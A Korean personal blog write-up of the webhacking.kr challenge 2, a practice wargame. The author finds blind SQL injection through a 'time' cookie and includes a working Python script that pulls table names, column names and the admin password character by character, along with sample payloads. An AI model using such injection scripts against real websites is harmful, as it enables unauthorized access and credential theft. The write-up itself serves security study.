메모장 입니다2

Webhakcking.kr - chall2 본문

Study/웹

Webhakcking.kr - chall2

Wooum@n 2020. 2. 25. 05:27

1.문제

 

 -제한된 IP라는 경고문구의 페이지가 출력된다.

 -소스를 보면 주석에 시간값이 출력이 되며

   +admin.php에 접근하라는 힌트도 주어진다

 -admin.php에 접근하면 패스워드를 입력받는다.

   +이 패스워드를 알아내면 클리어가 될 것 같다.

 -쿠키에 time값이 존재한다.

 

 

 

2.풀이

 

 -admin.php에서 password값은 최소한의 결과도 출력해주지 않는다.

      +timing 인젝션을 생각해볼 수 있지만, 내가 아는선에서 sql 인젝션을 시도해본 결과 안된다.

 -조작이 가능한 입력은 쿠키값인 time 밖에 존재하지 않는다.

   +임의의 값으로 변경해보았다.

      ++0일 경우, 현재 시간값이 출력되고

      ++1일 경우, 이상한 고정된 값이 출력된다.

         +++참과 거짓이 구분된다는 소리인데, 느낌이 blind sql injection 쪽으로 온다.  이것은 sql injection 문제가 90퍼

            센트인 webhacking.kr 이니까 

   +sql 인젝션 값에 따라 주석값이 달라진다.

 -결과적으로 blind sql injection을 통해서 db, 테이블, 컬럼명을 알아내고 마지막으로 패스워드를 알아내면 끝

 -코딩

while True:
    words = ''
    for idx in range(7):
        query_getTable = 'select table_name from information_schema.tables where table_schema=\'{0}\' limit 0,1'.format(str_db)
        query_getColum = 'select column_name from information_schema.columns where table_name = \'{0}\''.format(str_table)
        query_getValue = 'select pw from chall2.admin_area_pw'
        #dst = query_getTable
        #dst = query_getColum
        dst = query_getValue
        payload = '123 and substr(lpad(conv(hex(substr(({0}),{1},1)),16, 2),7,0),{2}, 1)=1'.format(dst, len(flags)+1, idx+1)
        print '------------------------------------'
        print payload
        cookies['time'] = payload
        res = requests.get(url+page, cookies= cookies)

        if res.text.find('2070-01-01 09:00:01') != -1:
            words += '1'
        else:
            words += '0'


    print 'words: ' + words
    ch = int(words, 2)
    if ch == 0:
        break
    else:
        ch = chr(ch)
        flags += ch
        print 'founded... strings'
        print 'ch:' + ch
        print 'flag: ' + flags
    

print '\n\n\n\n'
print 'founded successfully'
print 'flag: ' + flags

   *주의할 점: sql 쿼리가 에러나는 경우에도, 참을 반환하기 때문에 원하는 값을 다 찾은 후에도 계속 질의가 참으로 반환되서 무한루프에 빠진다. 

      **ex) substr('123', 5, 1) 은 sql 에러를 발생시킨다.

      **따라서, 길이를 구하고 딱 그만큼 루프를 돌게 코딩을 해야한다. 하지만 길이 구하는 조건 바꾸는게 귀찮아서

        수동으로 루프를 끊어주었다.

 

 

3.알게된 것

 

 -테이블 명, 컬럼명이 저장된 테이블

   +테이블명: select table_name from information_schema.tables where table_schema='DB 이름'

   +컬럼명: select column_name from information_schema.columns where table_name='테이블 이름'

 

 -조건절에 select문 넣기 in sql

   +괄호로 select문 전체를 감싸야 한다

   +select * from myTable where 0 or substr((select database()))

 

'Study > ' 카테고리의 다른 글

RootMe.org - CSRF 0 protection  (0) 2020.02.26
Rootme.org - XSS stored 1  (0) 2020.02.26
블라인드 sql 인젝션 - 컬럼, 테이블 명 알아내기 및 기타 등등  (0) 2020.02.25
Webhacking.kr 현황  (0) 2020.02.22
blind sql injection source  (0) 2018.04.11